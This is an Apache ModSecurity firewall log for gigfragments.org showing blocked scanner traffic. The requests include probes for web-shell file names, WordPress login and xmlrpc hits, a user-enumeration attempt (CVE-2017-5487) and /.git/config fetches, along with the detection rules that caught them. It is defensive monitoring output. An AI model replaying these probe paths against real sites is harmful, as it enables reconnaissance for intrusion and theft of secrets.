[Wed Apr 08 01:53:11.381323 2026] [:error] [pid 5337:tid 5380] [client 20.234.13.12:5007] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "adVEhyboIFdw6tlcN13sHAAAARY"]
[Wed Apr 08 01:53:11.887369 2026] [:error] [pid 5246:tid 5261] [client 20.234.13.12:5087] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ympoo.php"] [unique_id "adVEhxLpySxaVC8kLEZwtAAAAMs"]
[Wed Apr 08 01:53:12.391941 2026] [:error] [pid 303:tid 315] [client 20.234.13.12:5030] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ympoo.php"] [unique_id "adVEiM9wWR0DHTrNMuji6wAAAUk"]
[Wed Apr 08 01:53:12.922112 2026] [:error] [pid 4840:tid 5182] [client 20.234.13.12:5052] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ympoo.php"] [unique_id "adVEiBsUwg2fEe9p9LTGcAAAABY"]
[Wed Apr 08 01:53:13.422247 2026] [:error] [pid 5337:tid 5363] [client 20.234.13.12:4999] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ympoo.php"] [unique_id "adVEiSboIFdw6tlcN13sJAAAAQU"]
[Wed Apr 08 01:53:13.981839 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:7173] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "adVEiSboIFdw6tlcN13sKwAAAQE"]
[Wed Apr 08 01:53:14.483766 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:4929] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "adVEiiboIFdw6tlcN13sLwAAARg"]
[Wed Apr 08 01:53:16.001551 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:7200] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "adVEjCboIFdw6tlcN13sNwAAAQc"]
[Wed Apr 08 01:53:16.505876 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:7216] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "adVEjCboIFdw6tlcN13sOgAAAQE"]
[Wed Apr 08 01:53:17.010771 2026] [:error] [pid 303:tid 328] [client 20.234.13.12:5022] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/haojj.php"] [unique_id "adVEjc9wWR0DHTrNMuji7QAAAVY"]
[Wed Apr 08 01:53:17.534176 2026] [:error] [pid 5337:tid 5367] [client 20.234.13.12:5031] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/haojj.php"] [unique_id "adVEjSboIFdw6tlcN13sPQAAAQk"]
[Wed Apr 08 01:53:18.038880 2026] [:error] [pid 4842:tid 5208] [client 20.234.13.12:4939] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/haojj.php"] [unique_id "adVEjpdncJIGbBiMOXTHegAAAFQ"]
[Wed Apr 08 01:53:18.551120 2026] [:error] [pid 4860:tid 5232] [client 20.234.13.12:4938] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/haojj.php"] [unique_id "adVEjgn6KmY32L3WSeHG-gAAAJE"]
[Wed Apr 08 02:11:34.193409 2026] [:error] [pid 5337:tid 5374] [client 159.223.76.255:42362] [client 159.223.76.255] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.76.255, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adVI1iboIFdw6tlcN10KXwAAARA"]
[Wed Apr 08 02:11:39.603186 2026] [:error] [pid 5337:tid 5368] [client 159.223.76.255:58978] [client 159.223.76.255] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.76.255, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adVI2yboIFdw6tlcN10KnwAAAQo"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 02:14:24.317650 2026] [:error] [pid 4860:tid 5219] [client 51.38.73.122:62269] [client 51.38.73.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.73.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adVJgAn6KmY32L3WSeHTPgAAAIQ"]
[Wed Apr 08 02:14:26.009090 2026] [:error] [pid 4860:tid 5237] [client 51.38.73.122:62269] [client 51.38.73.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.73.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adVJggn6KmY32L3WSeHTVgAAAJY"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 04:46:49.709409 2026] [:error] [pid 47732:tid 47737] [client 209.198.155.59:19253] [client 209.198.155.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.155.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adVtOYm4N5QW9Mh7G10ZSgAAAMM"]
[Wed Apr 08 05:09:59.338328 2026] [:error] [pid 47625:tid 47654] [client 209.198.155.59:29370] [client 209.198.155.59] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adVypyVuHyNWzZlE8PDyQQAAABQ"]
[Wed Apr 08 05:11:12.239082 2026] [:error] [pid 47626:tid 47676] [client 209.198.155.59:56307] [client 209.198.155.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.155.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adVy8KjWI8TWtHx2sdb2GAAAAEg"]
[Wed Apr 08 05:12:18.863145 2026] [:error] [pid 47625:tid 47636] [client 209.198.155.59:41478] [client 209.198.155.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.155.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adVzMiVuHyNWzZlE8PDy4wAAAAI"]
[Wed Apr 08 05:13:05.626964 2026] [:error] [pid 47732:tid 47743] [client 209.198.155.59:36298] [client 209.198.155.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.155.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adVzYYm4N5QW9Mh7G10pQgAAAMk"]
[Wed Apr 08 05:14:21.014666 2026] [:error] [pid 16630:tid 16643] [client 209.198.155.59:35100] [client 209.198.155.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.155.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adVzrSjfVAkPG-jgJEqCDwAAAQs"]
[Wed Apr 08 05:16:03.887495 2026] [:error] [pid 47627:tid 47720] [client 104.28.163.34:41825] [client 104.28.163.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adV0E3Oljf1Quv_kDjmNsgAAAJU"]
[Wed Apr 08 05:16:04.224077 2026] [:error] [pid 16630:tid 16649] [client 104.28.163.34:41859] [client 104.28.163.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adV0FCjfVAkPG-jgJEqECgAAARE"]
[Wed Apr 08 06:00:52.779093 2026] [:error] [pid 47627:tid 47723] [client 51.77.43.170:43884] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adV-lHOljf1Quv_kDjmkvAAAAJg"]
[Wed Apr 08 06:00:54.688351 2026] [:error] [pid 47732:tid 47756] [client 51.77.43.170:58468] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adV-lom4N5QW9Mh7G11L-wAAANY"]
[Wed Apr 08 06:00:56.942764 2026] [:error] [pid 47627:tid 47699] [client 51.77.43.170:40892] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adV-mHOljf1Quv_kDjmkzAAAAIA"]
[Wed Apr 08 06:00:59.008596 2026] [:error] [pid 47626:tid 47673] [client 51.77.43.170:40894] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adV-m6jWI8TWtHx2sdYJxwAAAEU"]
[Wed Apr 08 06:01:01.120860 2026] [:error] [pid 47625:tid 47645] [client 51.77.43.170:40908] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adV-nSVuHyNWzZlE8PACjgAAAAs"]
[Wed Apr 08 06:01:03.062776 2026] [:error] [pid 47732:tid 47742] [client 51.77.43.170:40924] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adV-n4m4N5QW9Mh7G11MLQAAAMg"]
[Wed Apr 08 06:01:04.997000 2026] [:error] [pid 47625:tid 47647] [client 51.77.43.170:40926] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adV-oCVuHyNWzZlE8PACrAAAAA0"]
[Wed Apr 08 06:01:06.905448 2026] [:error] [pid 16630:tid 16645] [client 51.77.43.170:57054] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adV-oijfVAkPG-jgJEqyDgAAAQ0"]
[Wed Apr 08 06:01:08.798170 2026] [:error] [pid 16630:tid 16647] [client 51.77.43.170:57060] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adV-pCjfVAkPG-jgJEqyIAAAAQ8"]
[Wed Apr 08 06:01:11.312892 2026] [:error] [pid 47732:tid 47745] [client 51.77.43.170:57070] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adV-p4m4N5QW9Mh7G11MZAAAAMs"]
[Wed Apr 08 06:01:13.468324 2026] [:error] [pid 47732:tid 47756] [client 51.77.43.170:57086] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adV-qYm4N5QW9Mh7G11MjQAAANY"]
[Wed Apr 08 06:01:15.713998 2026] [:error] [pid 47627:tid 47716] [client 51.77.43.170:57096] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adV-q3Oljf1Quv_kDjmlFwAAAJE"]
[Wed Apr 08 06:01:17.710117 2026] [:error] [pid 47732:tid 47734] [client 51.77.43.170:32790] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adV-rYm4N5QW9Mh7G11MpgAAAMA"]
[Wed Apr 08 06:01:19.695247 2026] [:error] [pid 47627:tid 47723] [client 51.77.43.170:32796] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adV-r3Oljf1Quv_kDjmlMgAAAJg"]
[Wed Apr 08 06:01:21.587939 2026] [:error] [pid 47732:tid 47737] [client 51.77.43.170:32806] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adV-sYm4N5QW9Mh7G11MuwAAAMM"]
[Wed Apr 08 08:25:33.796921 2026] [:error] [pid 47732:tid 47758] [client 43.135.140.225:34998] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adWgfYm4N5QW9Mh7G12dowAAANg"]
[Wed Apr 08 08:29:07.518102 2026] [:error] [pid 16630:tid 16635] [client 68.183.104.156:46316] [client 68.183.104.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "adWhUyjfVAkPG-jgJEolhAAAAQM"]
[Wed Apr 08 08:29:10.990854 2026] [:error] [pid 47732:tid 47749] [client 68.183.104.156:55944] [client 68.183.104.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "adWhVom4N5QW9Mh7G12frQAAAM8"]
[Wed Apr 08 08:43:05.232540 2026] [:error] [pid 47627:tid 47719] [client 162.241.218.238:11392] [client 162.241.218.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.218.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adWkmXOljf1Quv_kDjnmaAAAAJQ"]
[Wed Apr 08 08:43:07.259112 2026] [:error] [pid 47627:tid 47717] [client 162.241.218.238:11392] [client 162.241.218.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.218.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adWkm3Oljf1Quv_kDjnmbgAAAJI"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 09:25:31.421723 2026] [:error] [pid 49984:tid 49995] [client 103.168.67.159:1740] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adWui-YY_Bz5lRHcJIE-UQAAAUU"]
[Wed Apr 08 09:25:32.122804 2026] [:error] [pid 16630:tid 16642] [client 103.168.67.159:2196] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adWujCjfVAkPG-jgJEpQ4gAAAQo"]
[Wed Apr 08 09:25:32.830136 2026] [:error] [pid 47732:tid 47742] [client 103.168.67.159:2726] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adWujIm4N5QW9Mh7G1276gAAAMg"]
[Wed Apr 08 09:25:33.526719 2026] [:error] [pid 47625:tid 47655] [client 103.168.67.159:3256] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adWujSVuHyNWzZlE8PA21AAAABU"]
[Wed Apr 08 09:25:34.237006 2026] [:error] [pid 16630:tid 16641] [client 103.168.67.159:3716] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dashboard"] [unique_id "adWujijfVAkPG-jgJEpRCwAAAQk"]
[Wed Apr 08 09:25:34.943790 2026] [:error] [pid 16630:tid 16637] [client 103.168.67.159:4270] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dashboard"] [unique_id "adWujijfVAkPG-jgJEpREwAAAQU"]
[Wed Apr 08 09:25:35.720632 2026] [:error] [pid 47627:tid 47700] [client 103.168.67.159:4828] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dashboard"] [unique_id "adWuj3Oljf1Quv_kDjn0vAAAAIE"]
[Wed Apr 08 09:25:36.428213 2026] [:error] [pid 47625:tid 47656] [client 103.168.67.159:5420] [client 103.168.67.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dashboard"] [unique_id "adWukCVuHyNWzZlE8PA29QAAABY"]
[Wed Apr 08 09:39:07.313143 2026] [:error] [pid 544:tid 558] [client 103.90.232.170:38882] [client 103.90.232.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.90.232.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adWxuzieLKSoiLVA6YfG7AAAAYk"]
[Wed Apr 08 09:39:09.235494 2026] [:error] [pid 544:tid 564] [client 103.90.232.170:38882] [client 103.90.232.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.90.232.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adWxvTieLKSoiLVA6YfG7gAAAY8"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 11:40:14.131588 2026] [:error] [pid 47625:tid 47653] [client 68.183.104.156:46026] [client 68.183.104.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "adXOHiVuHyNWzZlE8PCy2QAAABM"]
